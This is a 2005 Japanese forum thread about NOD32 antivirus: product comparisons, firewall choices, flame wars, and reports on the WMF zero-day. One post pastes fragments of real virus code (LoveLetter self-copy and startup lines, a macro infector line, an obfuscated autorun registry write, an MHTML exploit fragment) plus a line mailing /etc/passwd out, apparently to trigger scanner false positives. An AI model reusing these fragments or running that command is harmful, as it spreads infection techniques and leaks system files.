69 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 23:23:04 ]: 自画自賛と煽っても、実際にNOD32ユーザーの多くが豊富な知識を持つことは過去ログを読めば直ぐに分かる。
ついでに言うと、NOD32厨を騙って他スレを荒らしている奴の知識は貧弱＋程度が低いことが分かる。
これは、NOD32スレを執拗に荒らし続けている奴の投稿と殆ど同じ。
70 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 23:42:44 ]: >>69
なるほどね。
その自負心が、他製品スレを自演荒しした時の捨て台詞>>56
「ほんじゃ～最後にＶＳに付いてプロからのコメントを残しておくぞ。」
を言わせたワケね。
71 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 00:01:36 ]: すいません。特定のファイル・フォルダを検査対象から除外するにはどうしたらいいでしょうか？
ヘルプを見てもいまいちよくわかりませんでした。
72 名前：22 mailto:sage [2005/12/27(火) 00:27:44 ]: >>23,26,29,30,31
レスどうもです。
>>26
　NOD32は軽いという事なので、ZA比較的重め、SGアンチスパイ重め
この組み合わせで不具合は無しということですね。
>>30
　こちらの組み合わせでも不具合は無し
動作の軽快さはどんな感じですか？
>>31
　比較的知名度のあるFWとの組み合わせならば大した不都合は見られない
ということでしょうか？

　あと、ZAがNOD32ユーザーの中では人気なんでしょうか？
73 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 00:38:34 ]: 自演乙
74 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 01:11:44 ]: >>72
俺は Outpost Pro 使ってる。
NOD買うと安く Outpost が安く買えるから。
そういう人も結構いるんじゃないかな。
75 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 01:13:48 ]: ノ Outpost Free
76 名前：69 mailto:sage [2005/12/27(火) 01:41:57 ]: > を言わせたワケね。
俺の投稿じゃないから知らん。
77 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 02:22:11 ]: 今度のコテはシックスナインかw
78 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 02:58:15 ]: イタイ奴
79 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 03:09:32 ]: 平和だな。にほん。
80 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 03:17:18 ]: シマンティックのオンラインスキャンを行うと、LoveLetterとUnix.Penguin が何個か見つかったんですが
これらはNODでは防げないのでしょうか？　（更新はちゃんとやってます
81 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 03:47:36 ]: 脳豚来ないでね
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
82 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 04:19:46 ]: >>80
> これらはNODでは防げないのでしょうか？

両方とも防ぎます、見つかったことで感染すると思うのは間違っています。
83 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 04:24:19 ]: ウイルス対策ソフト＝重いのが常識かと思ってたけど
NODを使うようになって、それが間違いだと気づきました。

まるでウイルス対策ソフトが入ってないと錯覚させるぐらい軽いです。
とても素晴らしいです。
84 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 04:59:03 ]: 豊富な知識を持ってる奴がZAを愛用するのかｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
85 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 05:06:20 ]: する人も多くいるよ。
しないと決め付けるのは無知な証拠なw
86 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 05:26:17 ]: FWの設定マンドクサイヤシも居るんよ
87 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/27(火) 07:06:19 ]: Z音が寝静まると板全体が静かになるよなｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
88 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 07:37:38 ]: ハゲドウ（ｗ
本当に寝たなら活動再開は10時頃かと。
89 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 07:57:01 ]: 甘い。バスタースレで暴れてるっぽい。
90 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 08:19:29 ]: いや、バスタスレも沈静化してるｗ
今ここでバスタの名が出たから今日もバスタスレは荒れるだろうなｗ
91 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 08:49:57 ]: 1.1340 (20051226)
92 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 10:22:37 ]: これ４ヶ月前につかったよ体験版だけど結構いいんでない？
今他ソフト買ってしまいましたが・・・
なんだっけ？アーモン？イーモン？デーモン？とかあったの覚えてる
93 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 11:49:00 ]: アークデーモンみたいだな
94 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 15:35:44 ]: AntiVir 6.33.0.70 12.26.2005 no virus found
Avast 4.6.695.0 12.24.2005 no virus found
AVG 718 12.23.2005 no virus found
Avira 6.33.0.70 12.26.2005 no virus found
ClamAV devel-20051108 12.26.2005 no virus found
DrWeb 4.33 12.26.2005 no virus found
eTrust-Iris 7.1.194.0 12.26.2005 no virus found
eTrust-Vet 12.4.1.0 12.25.2005 no virus found
F-Prot 3.16c 12.26.2005 no virus found
Ikarus 0.2.59.0 12.23.2005 no virus found
Kaspersky 4.0.2.24 12.27.2005 no virus found

NOD32v2 1.1340 12.26.2005 Win32/Bagle.EF

Norman 5.70.10 12.26.2005 no virus found
Panda 8.02.00 12.26.2005 no virus found
Sophos 4.01.0 12.26.2005 no virus found
TheHacker 5.9.1.061 12.25.2005 no virus found

さすがNOD32だね。
95 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/27(火) 17:22:57 ]: うさんくさーい
96 名前：名無しさん＠お腹いっぱい。 mailto:age [2005/12/27(火) 17:25:28 ]: NODにFWがつけば、最強のような気がしてきたが、FWはどうして付属しないの？
97 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/27(火) 17:36:24 ]: >>96
FWでメッキが剥がれてNOD最強伝説が終わるから
98 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 17:38:13 ]: >>96
付属してたら逆に扱い辛いからだよ。
統合型のアンチウィルスに搭載されているPFWの全てが、市販されているPFWより性能が大きく劣る。
そんな中途半端なPFWを付属で付けても邪魔でしかない。

必要なら本格的なPFWを別途購入するのが基本だよ。
99 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 17:44:11 ]: >>97
アンチウイルスの時点で既に剥がれまくってるような・・・・
このスレで持ち上げられてるだけで世間じゃ全然認知されてないし
100 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 17:48:56 ]: このスレだけでなく、信頼性の高いサイトや専門家集団の全てがNOD32を最高のアンチウィルスだと評価しているのだが・・・
文句や疑問を言っているのは素人や無知で信頼の乏しいサイトだけ。
101 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/27(火) 17:55:26 ]: >>99
事実であっても本拠地では言わないのがお約束ｗ
自称上級者にはNODが最高なんだからねｗ
102 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 17:59:28 ]: >>101
そうでした
ここは脳内セキュリティのプロが棲息するスレでしたねｗｗｗｗｗｗ
103 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:01:28 ]: 非常に軽くなったと噂されているKAV6.0との比較結果をみつけた。
NOD32の軽さは凄い。

> pc8.2ch.net/test/read.cgi/sec/1134296559/676
676 名前：484 投稿日：2005/12/21(水) 00:13:42
ふー、KAV6.0ベータの簡易テスト終了。

KAV6.0ベータは、噂どおりに軽い。
PFWの機能が付加されており、統合型のアンチウィルスソフトへと進化している模様。

使用感としてはNOD32と体感で殆ど同じ、これはテスト機の性能にもよるかな？
体感で殆ど変化がなかったので、system32フォルダ内をエクスプローラで移動することによるポインティングを行い、
ProcessExplorerでCPU使用率の変化と常駐監視プロセスが消費したCPU時間を計測してみた。

KAV6.0ベータはNOD32やK5が入っているとインストできない為、全てのセキュリティソフトをアンインストールし、
個別にインストールしてテストしました。

結果
KAV6.0 常駐プロセス=avp.exe CPU使用時間 1分03秒843ミリ秒占有メモリサイズ 19,768K 仮想サイズ 113,476K
NOD32 v2.50.42 常駐プロセス=nod32krn.exe CPU使用時間 24秒515ミリ秒占有メモリサイズ 15,236K 仮想サイズ 75,388K

一応、スペックの上ではAMONに軍配が上がったが、体感差は殆どない状況でした。

テスト機
CPU P4-2.8C メモリ 512*2(3200) HT-ON
OS WindowsXP Pro(SP2)
104 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:04:16 ]: >>101-102
あはは、さすがに自演みえみえ。
必死に貶すも、根拠のない吹聴でしかないのが悲しいね。

信頼性の高いサイトや専門家が集まるフォーラムでNOD32の酷評を紹介してみw
105 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:07:01 ]: 2005/10 Virus Bulletin誌の試験結果

------------------------------------------------------------------------------------
アンチウィルスメーカー　　exeファイル　　 OLEファイル　　 exe(zip)　　 OLE(zip) 　　検知性能(総合)
------------------------------------------------------------------------------------
Ｅｓｅｔ　　　　　　　　　　　　２７秒（　１倍）　　　　　３秒　　　　　２３秒　　　　５秒　　　　　　　完璧でした
Ｆ－Ｓｅｃｕｒｅ.　　　　　　１２４秒（　４倍）　　　　１８秒　　　　　７８秒　　　２１秒　　　　　　　ミス=３
Ｋａｓｐｅｒｓｋｙ.　　　　　　１１６秒（　３倍）　　　　１４秒　　　　　６２秒　　　１６秒　　　　　　　ミス=２
ＢｉｔＤｅｆｅｎｄｅｒ　　　　　４６０秒（１７倍）　　　　１１秒　　　　１８９秒　　　１６秒　　　　　　　ミス=５６
Ｓｙｍａｎｔｅｃ. 　　　　　　１４７秒（　５倍）　　　　１６秒　　　　　７２秒　　　１４秒　　　　　　　完璧でした
ＴｒｅｎｄＭｉｃｒｏ. 　　　　　　６３秒（　２倍）　　　　７秒　　　　　３３秒　　　１１秒　　　　　　　ミス=２２１
ＭｃＡｆｅｅ　　　　　　　　　９８秒（　３倍）　　　　１２秒　　　　　７０秒　　　１７秒　　　　　　　完璧でした
Ａｖａｓｔ！　　　　　　　　　１２３秒（　４倍）　　　２０秒　　　　　３２秒　　　１７秒　　　　　　　ミス=１４５
------------------------------------------------------------------------------------

AV-Comparativesの試験結果
> ttp://www.av-comparatives.org/index.html?www.av-comparatives.org/seiten/comparatives.html
106 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:08:10 ]: > シマンティックのオンラインスキャンを行うと、LoveLetterとUnix.Penguin が何個か見つかったんですが
それ誤検知。
107 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/27(火) 18:17:49 ]: >>103
お前は文盲か？
108 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:19:47 ]: >>104
自演に見えるのはお前自身が自演を繰り返してるから
つーかお前ここに書き込む時は節穴するんじゃなかったっけ？
109 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:23:57 ]: >>104
商売ってさ、専門家相手にしてるんじゃないんだよ？
素人相手にしてるんだからさ、そっちからの評判が悪いって事は駄目だってことなんだよ
110 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:27:30 ]: > 自演に見えるのはお前自身が自演を繰り返してるから
根拠を必死に探そうとしても吹聴なのだから根拠を見つけられない。
そんな吹聴に同意するのは自演しかない。

> つーかお前ここに書き込む時は節穴するんじゃなかったっけ？
なんの話か分かりません。
匿名掲示板で節穴を要求してるのか？
111 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 18:29:52 ]: > 商売ってさ、専門家相手にしてるんじゃないんだよ？
> 素人相手にしてるんだからさ、そっちからの評判が悪いって事は駄目だってことなんだよ

販売量はまた別の話だろ？
性能と直結するわけじゃないし、ターゲット層の違いもある。
NOD32のターゲット層とシマンテックのターゲット層は違うだろ？
112 名前：名無しさん＠お腹いっぱい。 mailto:age [2005/12/27(火) 18:47:47 ]: >NOD32のターゲット層とシマンテックのターゲット層は違うだろ？

kwsk
113 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 21:30:39 ]: 体験版の起源がきれそうなんで、更新したいんですが、
canon-sol.jp/product/nd/update/index.html
の指示にしたがえばいいんでしょうか？

体験版ユーザーは別の方法になるのでしょうか？
おしえてください
114 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 21:37:16 ]: >>113
自信をもってください
115 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 21:41:42 ]: >>113
気合です
116 名前：113 mailto:sage [2005/12/27(火) 21:43:49 ]: ありがとうございます。登録にあたってシリアル番号が必要らしいのですが
体験版だと思って以前の案内通知メールは削除してしまったのですが、
アプリからシリアル確認すること可能でしょうか？
117 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 21:57:06 ]: >>113
体験版だと下記の購入からな。

> canon-sol.jp/shopping/nd_howto_buy3.html
118 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 22:06:22 ]: カスペは１１０以上の賞を受賞してるみたいですが
ＮＯＤはいくつくらい受賞されてるんでしょうか？
多い方買おうと思います。
119 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 22:09:55 ]: NODは500くらいかな。
120 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 22:11:02 ]: >>118
カスペのほうが多いです。
カスペも良いアンチウィルスソフトですし、何より素人向けですから使い易い。

私はNOD32がお気に入りですけどね。
121 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 22:12:24 ]: ＞＞119
ＮＯＤ32が500？主な受賞歴は？
122 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 22:29:55 ]: 何様だキサマ。
自分で調べな！ファッキン！
123 名前：118 [2005/12/27(火) 23:00:41 ]: >>120
ありがとうございます。
カスペ買うことにします。
124 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/27(火) 23:19:49 ]: 死ね
125 名前：名無しさん＠お腹いっぱい。 [2005/12/27(火) 23:35:14 ]: >>124
脅迫ですか？
只今警察にメールにて連絡いたしました。
126 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 00:16:23 ]: >>110
【軽快動作】NOD32【アンチウイルスソフト】
pc8.2ch.net/test/read.cgi/sec/1112351342/
482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp　投稿日：2005/04/25(月) 10:45:08
緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。
127 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 00:18:41 ]: >>84
ポートを指定できないようなものを豊富な知識を持っている人が愛用するわけがない罠w
128 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 00:49:02 ]: >>123
NODはプロ向けだからね。
素人では使いこなせないよ。

厨にはカスペがちょうど良いんじゃないかな。
129 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 01:04:04 ]: > NODはプロ向けだからね。
> 素人では使いこなせないよ。

いや、デフォルトで使えは良いだけなのだが・・・・
まぁ、苦労と肌な仕様にはなっているが、お前のような程度の低い煽りをする奴にNOD32を語って欲しくはないぞ。
130 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 01:11:06 ]: 128が素人に３００万リラ
131 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 01:23:29 ]: >>127
豊富な知識を持っていても設定が簡素であり扱い易いことを気に入って使っている人は結構いる。
知識が貧弱な奴ほど、ポート指定できないから糞みたいな発言が多いのは興味深い。
132 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 01:57:39 ]: 131が素人に３００万リラ
133 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 01:59:36 ]: ＞豊富な知識を持っていても設定が簡素であり扱い易いことを気に入って使っている人は結構いる。
妄想乙。

君はZAしか使えないんだろw
134 名前：名無しさん＠お腹いっぱい。 [2005/12/28(水) 02:26:29 ]: クライアントとして使う分には別にポート指定までする必要はないと思うけどな
下手糞なルール組むくらいならZAFreeタイプで十分って意見は間違いではないと思う
ま、俺はNOD厨は嫌いだしZAは使ってないけどな
135 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 02:28:46 ]: ＞下手糞なルール組むくらいならZAFreeタイプで十分って意見は間違いではないと思う

そういう低レベルな香具師用だな、ZAは。
136 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 02:29:18 ]: 　　＿
　　＼ヽ,　,、
　　　 `''|/ﾉ
　　　　 .|
　＿　　 |
　＼｀ヽ、|
　　＼, V
　　　 `L,,_
　　　　 |ヽ､)
　　　　 .|
　　　　/ 　　　　　 ,､
　　　 /　　　　　　　　ヽYﾉ
　　　.|　　　　　　 r''ヽ、.|
　　　|　　　　　　 `ｰ-ヽ|ヮ
　　 |　　　　　　　　 `|
　　　ヽ,　　　　,r　　　 .|
　　　　ヽ,r'''ヽ!'-‐'''''ヽ､ﾉ
　,,,..---r'",r, ,　、`ヽ､　ヾ
　ヽ､__/ ./ﾊﾚﾊ i`ヽ、 `''r`ミ_
　　　.ﾚ//r,,,､ﾚ'ﾚﾊヾ,　 L,,_　`ヽ、
　　　 "ﾚ, l;;;l　　 l;;;l`i.ﾘﾚ'　ﾘ￣~~ か
　　　　　ヽ､　ワ `"／-'`'`'　　　 ∨
　　　　　　　`''''''''"　　　　　　┼ヽ　 -|r‐､.　ﾚ　|
　　　　　　　　　　　　　　　　ｄ⌒)　./|　_ﾉ　 __ﾉ
137 名前：名無しさん＠お腹いっぱい。 [2005/12/28(水) 03:38:08 ]: NODにもノートンみたいなワーム防止機能がつけばいいのに
138 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 05:38:19 ]: NOD3２スレに住み着いている荒らしが遂に錯乱した？
無知なのに無謀にも専門家が多くレスしているフォーラムに自作自演で殴りこみ。
もちろん、簡単に駆逐されてしまいましたw
2chと違い管理の厳しいサイトでは通じません。

笑えました。
> ttp://www.wilderssecurity.com/showthread.php?t=112022
139 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 05:42:45 ]: >>138
専門家なんているのか？
大して2chと変わわらんだろ。
レベルが低いのは君みたいな人だけ。
140 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 05:47:57 ]: HappyBytes(ハンドル)はNOD32の開発技師です。
アンチウィルス業界屈指の頭脳です。
141 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 06:03:05 ]: 2chとかネットで好き勝手やってる奴ﾜﾛｽｗ

ﾜﾛｽｗ
142 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 06:31:29 ]: Z音が殴りこみにいったのか？
今日は板全体が異様に静かだもんな
明日からまた異様に荒れるのかなｗｗｗｗｗ
143 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 11:45:42 ]: 擦り付け恥ずかしいw
144 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 13:11:18 ]: 漏れは明日から休みでつよ♪
145 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 13:17:53 ]: Wilders Security Forumsでも結構話題になっているのが誤検出。
例えば、ノートンだと>>81をプラウザから見るだけで誤検出が発生するのだけど、
Kasperskyでも>>81を2chプラウザによってローカルDISKにログとして保存されたものをオンデマンドで
ノートンと同様に誤検出する。
もちろん、マクロやスクリプトウィルスのコードが書かれているわけだから検出されてしまうことも理解できるが
そのままだと単にゴミでしかないわけで明らかに誤検出といえる。
それらの誤検出を検出性能が高いと思ってしまう人が多く、そんなやり取りが上記のフォーラムではよく見られる。
146 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/28(水) 14:34:57 ]: 言い訳ｷﾀｺﾚ
147 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 14:38:57 ]: >>145
ここで言わないで、そこのフォーラムで言えよｗｗｗｗ
で、泣かされて来いｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
148 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 14:48:48 ]: >147が素人に３００万リラ
149 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 16:26:25 ]: プロ仕様のNOD32www
150 名前：名無しさん＠お腹いっぱい。 [2005/12/28(水) 16:55:15 ]: ttp://www.kaspersky.co.jp/news.html?id=171
【復旧】パターンファイルの不具合について

今回、特定の時間帯に配信したパターンファイルについて、
一部の条件下でウイルスを検知しないことを確認致しました。

さっそくカスペがやらかしたぞ。
151 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 16:56:14 ]: Eset社の専門家はNOD32に自信を持っています。
まだ、手にしていないサンプルでさえ「おそらくは塵」といえるのが凄いな。

> ttp://www.wilderssecurity.com/forumdisplay.php?f=32

#12
> I suggest that you submit those samples to support[at]eset.com with a link to this thread,
> maybe they'll turn out to be non-functional or harmless files. If you find some other suspicious
> files not detected heuristically nor by generic detection, please send them to samples[at]eset.com
152 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 17:45:58 ]: はいはい、凄い凄い
153 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 17:47:56 ]: キヤノンはサポートの対応も非常に良いね。
メールを送れば数時間以内に必ず返信が来るしね。

3週間以上待たせたあげくテンプレしか送ってこない
役立たずのシマンテックのサポートとは大違いw
154 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 17:52:27 ]: >>153
m9(^Д^)ﾌﾟｷﾞｬｰ!
155 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 20:31:44 ]: はいはい、凄い凄い
156 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 21:33:49 ]: >>153
シマンテックは３年前に一度だけサポートにメールしたことあるけどいまだに返事はないよ。
157 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 21:38:50 ]: ＊＊新種ウイルスの速報＊＊

Windows XP SP2 に未知の重大な欠陥。
WMF ファイルを読み込むことで、任意のコードが実行されてしまう。
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF

＊＊対応済みアンチウイルス（2005/12/28時点）

マカフィー（検出名　Exploit-WMF）
ttp://vil.mcafeesecurity.com/vil/content/v_137760.htm
ノートン（検出名　Bloodhound.Exploit.56）
ttp://www.symantec.com/avcenter/venc/data/bloodhound.exploit.56.html
158 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 22:06:28 ]: そりゃ大変だ
159 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 22:06:34 ]: >>157
検証ページで試してきた。みごとに無反応
漏れＩＥ使ってないから再生前に確認ウィンドウでたからあれだけど
ＩＥ使いにとっては極悪か。。。。

さて、いつ対応してくれるかな
160 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 22:10:34 ]: >>159
IEだと一気に読んじゃうのか。そりゃ問題だわ。
161 名前：名無しさん＠お腹いっぱい。 [2005/12/28(水) 22:46:21 ]: あれｗ
ご自慢のヒューリスティックは効果なしですか？ｗ
しかもシグネチャ配布もノートンに負けてるんですか？ｗ
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
162 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 23:14:28 ]: >>161
ん？
163 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 23:37:04 ]: ttp://focus.sakura.ne.jp/nakedking/log/eid1160.html
某雑誌にウイルス対策ソフトの３大メーカーということで，シマンテック，
トレンドマイクロ，マカフィーの名前が挙がっていましたが，知名度・市場シェアと
製品の品質とがまったく関係がないことは知る人ぞ知るところです（私も含めて）。

NOD32 は性能がピカイチで優れているので，ウイルス対策のみ必要な方にはイチ押しです
（次バージョンではファイアウオール機能がつく予定）。
164 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/28(水) 23:47:28 ]: ＊＊新種ウイルスの速報！！＊＊

Windows XP SP2 に未知の重大な欠陥が！！

WMF ファイルを読み込むことで、任意のコードが実行されてしまう。
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF

＊＊対応済みアンチウイルス（2005/12/28時点）

マカフィー（検出名　Exploit-WMF）
ttp://vil.mcafeesecurity.com/vil/content/v_137760.htm
ノートン（検出名　Bloodhound.Exploit.56）
ttp://www.symantec.com/avcenter/venc/data/bloodhound.exploit.56.html

現時点ではNOD32、ｶｽﾍﾟ共に未対応ですた。
165 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:00:46 ]: >（次バージョンではファイアウオール機能がつく予定）。

まじ？
166 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:04:49 ]: ＦＷついて更新料据え置きならいいんだけどな
あとテキトーなＦＷつける気ならやめてほしいよな
167 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:06:46 ]: >>163
それって、ネットワークマガジンの06/02？
168 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 00:12:26 ]: あれ？新種のウイルスをスルーしてるのはスルーですか？ｗｗｗ
169 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:18:47 ]: >>168
ちゃんと読んだか？
170 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:19:57 ]: 検証のだとvirustotalではもう定義1.1342になってって対応してるな
てかBitdefenderとNOD32では検出されてるけど
McAfeeとSymantecで検出されないんだけどｗ
171 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:24:40 ]: って書いた5秒後に更新来たｗ
定義1.1342でWin32/TrojanDownloader.Wmfexとして検出されるの確認した。
172 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:27:15 ]: 更新しているのに検出できないとおもったら、
IMON切ってた・・・
173 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:31:02 ]: 1.1342 (20051228)
174 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:31:42 ]: 対応乙
175 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:31:49 ]: てかこれ防げるの入れない人は相当やばそうだな、
右クリックしてプロパティ見ようとするだけであぼんする。
176 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:32:32 ]: てかこれ防げるの入れない人は相当やばそうだな、
右クリックしてプロパティ見ようとするだけであぼんする。
177 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:35:17 ]: >>175-176 もちつけｗ
178 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:35:29 ]: あれ、、二重投稿してしまった。
179 名前：名無しさん＠お腹いっぱい。 [2005/12/29(木) 00:36:59 ]: ((；ﾟДﾟ)ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙうｐ立てしておこう・・・
180 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:38:09 ]: これはMSがどうにかするでしょ。
181 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:40:27 ]: >>180
ＭＳがどうにかするの待てるくらいなら
セキュリティソフトいらないと思われます
182 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:48:16 ]: どのくらいでどうにかしてくれるのかが問題だね
画像ファイルだからイタズラでいろいろ張るヤツ現れそうだ
183 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 00:58:13 ]: tp://kikuz0u.x0.com/wmf_exp.html
これね
184 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 01:00:22 ]: まともな話しているのにアホが一匹混ってるな。
無闇に騒ぎ立てようとして失敗しているのが笑える。

>>161
>>168
>>179
185 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 01:07:36 ]: とりあえず対応してくれてうれしいわぁ^^
186 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 01:11:55 ]: ちがった右クリックだけじゃなかった、、
左クリックだけでも起動される。
拡張子jpgに変えてもなる、、やばすぎ・・
いろいろ試してるうちにAvastも今更新きて対応されたみたい。
187 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/29(木) 01:14:03 ]: 同じコンポーネントが使われているから、関連付けられていると不味いよ。
MSのバグってこんなの多過ぎるよな。
